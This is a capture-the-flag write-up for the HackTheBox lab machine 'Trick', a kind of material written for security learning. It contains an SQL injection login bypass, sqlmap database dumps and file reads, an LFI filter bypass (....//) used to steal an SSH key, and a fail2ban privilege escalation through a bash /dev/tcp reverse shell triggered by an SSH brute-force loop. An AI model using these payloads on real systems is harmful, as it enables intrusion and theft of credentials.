HackTheBox - Trick
On Trick We exploit a sql injection to bypass a login page, the use the same vulnerability to read files on the system exposing subdomain. The latter is running a website vulnerable to LFI allowing us to read private ssh key and get foothold. After that we exploit a sudo entry to get root.
Enumeration
nmap
We start an Nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}
.
-sC: run all the default scripts.
-sV: Find the version of services running on the target.
-T4: Aggressive scan to provide faster results.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-07 10:40 +01
Nmap scan report for 10.10.11.166
Host is up (0.34s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
| 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: Host: debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kern
We found four open ports.
DNS
I’ll start with the DNS service.
1
2
3
4
5
6
7
8
9
┌──[10.10.16.4]-[sirius💀parrot]-[25-07-07 10:41]-[/tmp/driver]
└──╼[★]$ nslookup
> server 10.10.11.166
Default server: 10.10.11.166
Address: 10.10.11.166#53
> 127.0.0.1
1.0.0.127.in-addr.arpa name = localhost.
> 10.10.11.166
166.11.10.10.in-addr.arpa name = trick.htb.
nslookup
has revealed the domain name trick.htb
.
I’ll use that and do a zone transfer with dig
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──[10.10.16.4]-[sirius💀parrot]-[25-07-07 10:42]-[/tmp/driver]
└──╼[★]$ dig axfr @10.10.11.166 trick.htb
; <<>> DiG 9.18.33-1~deb12u2-Debian <<>> axfr @10.10.11.166 trick.htb
; (1 server found)
;; global options: +cmd
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 323 msec
;; SERVER: 10.10.11.166#53(10.10.11.166) (TCP)
;; WHEN: Mon Jul 07 10:42:13 +01 2025
;; XFR size: 6 records (messages 1, bytes 231)
This revealed a subdomain preprod-payroll.trick.htb
. I’ll add both domains to my /etc/hosts
Web
Let’s navigate to the first port.
There is nothing interesting in this page. There is a email submission form but it doesn’t work. Let’s move to the other subdomain.
It’s a login page. Tried some default creds but got nothing.
But I managed to login by doing a SQL injection.
1
' or 1=1 -- -
We got in!
Since the login page was vulnerable to sql injection I though maybe there might be another functionality vulnerable too somewhere in the website.
After some digging I found the following page.
SQL injection
I gave the url to sqlmap
along with my cookie and run it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──[10.10.16.4]-[sirius💀parrot]-[25-07-07 10:54]-[/tmp/driver]
└──╼[★]$ sqlmap -u 'http://preprod-payroll.trick.htb/index.php?page=payroll_items&id=1' --batch --cookie='PHPSESSID=boe7igm6vtkh5hhmu3l81gm9fh' --dbs
___
__H__
___ ___[(]_____ ___ ___ {1.8.12#stable}
|_ -| . ["] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
Parameter: id (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: page=payroll_items&id=(SELECT (CASE WHEN (1340=1340) THEN 1 ELSE (SELECT 8601 UNION SELECT 3617) END))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=payroll_items&id=1 AND (SELECT 9106 FROM (SELECT(SLEEP(5)))auJY)
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: page=payroll_items&id=-5852 UNION ALL SELECT NULL,CONCAT(0x7162767071,0x634f666b55444c54444c41504651536f7165616d634c7968634e646448796241557466474d6b7049,0x7162627071),NULL,NULL,
NULL,NULL,NULL-- -
---
[10:55:03] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.14.2
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:55:03] [INFO] fetching database names
[10:55:04] [WARNING] reflective value(s) found and filtering out
[10:55:04] [INFO] retrieved: 'information_schema'
[10:55:04] [INFO] retrieved: 'payroll_db'
available databases [2]:
[*] information_schema
[*] payroll_db
The confirmed the website is vulnerable and we found the database payroll_db
.
Let’s now enumerate tables.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──[10.10.16.4]-[sirius💀parrot]-[25-07-07 10:55]-[/tmp/driver]
└──╼[★]$ sqlmap -u 'http://preprod-payroll.trick.htb/index.php?page=payroll_items&id=1' --batch --cookie='PHPSESSID=boe7igm6vtkh5hhmu3l81gm9fh' -D payroll_db --table ___
__H__
___ ___[']_____ ___ ___ {1.8.12#stable}
|_ -| . ['] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
Database: payroll_db
[11 tables]
+---------------------+
| position |
| allowances |
| attendance |
| deductions |
| department |
| employee |
| employee_allowances |
| employee_deductions |
| payroll |
| payroll_items |
| users |
+---------------------+
The users table is usually where we find passwords so let’s dump it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──[10.10.16.4]-[sirius💀parrot]-[25-07-07 10:55]-[/tmp/driver]
└──╼[★]$ sqlmap -u 'http://preprod-payroll.trick.htb/index.php?page=payroll_items&id=1' --batch --cookie='PHPSESSID=boe7igm6vtkh5hhmu3l81gm9fh' -D payroll_db -T users --dump
___
__H__
___ ___[.]_____ ___ ___ {1.8.12#stable}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
Database: payroll_db
Table: users
[1 entry]
+----+-----------+---------------+--------+---------+---------+-----------------------+------------+
| id | doctor_id | name | type | address | contact | password | username |
+----+-----------+---------------+--------+---------+---------+-----------------------+------------+
| 1 | 0 | Administrator | 1 | <blank> | <blank> | SuperGucciRainbowCake | Enemigosss |
+----+-----------+---------------+--------+---------+---------+-----------------------+------------
We found credentials! I tried ssh to the box but it failed unfortunately.
File read
Let’s try reading local files using the sql injection
1
2
3
4
5
6
7
8
9
10
sqlmap -u 'http://preprod-payroll.trick.htb/index.php?page=payroll_items&id=1' --batch --cookie='PHPSESSID=boe7igm6vtkh5hhmu3l81gm9fh' --file-read "/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
[SNIP]
postfix:x:119:126::/var/spool/postfix:/usr/sbin/nologin
bind:x:120:128::/var/cache/bind:/usr/sbin/nologin
michael:x:1001:1001::/home/michael:/bin/bash
It worked!
I tried writing a web-shell but that failed.
Next file we can read is the web servers configuration file. Since we are working with nginx
the file we should read is /etc/nginx/sites-available/default
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
sqlmap -u 'http://preprod-payroll.trick.htb/index.php?page=payroll_items&id=1' --batch --cookie='PHPSESSID=boe7igm6vtkh5hhmu3l81gm9fh' --file-read "/etc/nginx/sites-available/defaul
t"
server {
listen 80 default_server;
listen [::]:80 default_server;
server_name trick.htb;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name _;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.3-fpm.sock;
}
}
server {
listen 80;
listen [::]:80;
server_name preprod-marketing.trick.htb;
root /var/www/market;
index index.php;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;
}
}
server {
listen 80;
listen [::]:80;
server_name preprod-payroll.trick.htb;
root /var/www/payroll;
index index.php;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.3-fpm.sock;
}
}
We discovered another subdomain preprod-marketing.trick.htb
. Let’s add it to our /etc/hosts
and navigate to it.
The website seems to use a parameter to load html files. I smell an LFI here.
LFI
I tried grabbing /etc/passwd
but failed.
Since we have a file read with the sql injection, let’s read the index.php file to see how it works.
From the nginx
configuration file we see that the web root is located at /var/www/market
so let’s read /var/www/market/index.php
.
1
sqlmap -u 'http://preprod-payroll.trick.htb/index.php?page=payroll_items&id=1' --batch --cookie='PHPSESSID=boe7igm6vtkh5hhmu3l81gm9fh' --file-read "/var/www/market/index.php"
1
2
3
4
5
6
7
8
9
10
<?php
$file = $_GET['page'];
if(!isset($file) || ($file=="index.php")) {
include("/var/www/market/home.html");
}
else{
include("/var/www/market/".str_replace("../","",$file));
}
?>
The index.php uses a protection against LFI
by removing any ../
in the request.
The problem with this prevention is that it’s not recursive, we can easily bypass it by using ....//
.
To read the /etc/passwd
we can using the following payload.
1
....//....//....//....//....//....//....//etc/passwd
Foothold
Looking at the /etc/passwd
file we see only one user exist michael
. Let’s try read his private ssh key.
We got it, let’s connect with it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──[10.10.16.4]-[sirius💀parrot]-[25-07-07 11:31]-[/tmp/driver]
└──╼[★]$ vim id_rsa
┌──[10.10.16.4]-[sirius💀parrot]-[25-07-07 11:31]-[/tmp/driver]
└──╼[★]$ chmod 600 id_rsa
┌──[10.10.16.4]-[sirius💀parrot]-[25-07-07 11:31]-[/tmp/driver]
└──╼[★]$ ssh -i id_rsa michael@trick.htb
Linux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
michael@trick:~$
Privilege Escalation
Let’s check our privileges.
1
2
3
4
5
6
7
8
michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restart
michael@trick:~$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)
We can restart fail2ban
service and we are part of a group called security
.
Let’s see what this group has.
1
2
3
4
5
6
michael@trick:/$ find / -group security 2>/dev/null
/etc/fail2ban/action.d
michael@trick:/$ cd /etc/fail2ban/action.d
michael@trick:/etc/fail2ban/action.d$ ls -la
total 288
drwxrwx--- 2 root security 4096 Jul 7 13:33 .
The group has write privileges on the /etc/fail2ban/action.d directory, and therefore on every file inside it.
Fail2Ban is an intrusion prevention software framework. It is designed to prevent brute-force attacks and ban clients that repeatedly fail authentication checks.
The rules are on a file called jail.conf
, let’s read it and see how we can trigger a ban.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[DEFAULT]
# ignorecommand = /path/to/command <ip>
ignorecommand =
# "bantime" is the number of seconds that a host is banned.
bantime = 10s
# A host is banned if it has generated "maxretry" during the last "findtime"
# seconds.
findtime = 10s
# "maxretry" is the number of failures before a host get banned.
maxretry = 5
# Default protocol
protocol = tcp
banaction = iptables-multiport
banaction_allports = iptables-allports
This rule is going to apply the iptables-multiport
action when 5 failed login attempt happens in under 10 seconds.
Since we have write perms over action.d
we can edit the iptables-multiport.conf
file to send us a reverse shell when it gets triggered.
I’ll edit the actionban
on line 33.
1
actionban = /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.4/4444 0>&1'
Now we need to restart the service.
1
sudo /etc/init.d/fail2ban restart
And the last thing is setting up a listener and brute forcing the ssh service to trigger the ban.
1
for i in {1..7}; do sshpass -p 'asdfasfd' ssh michael@trick.htb; done
1
2
3
4
5
6
7
┌──[10.10.16.4]-[sirius💀parrot]-[25-07-07 18:42]
└──╼[★]$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.166] 37718
bash: cannot set terminal process group (6888): Inappropriate ioctl for device
bash: no job control in this shell
root@trick:/#
Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).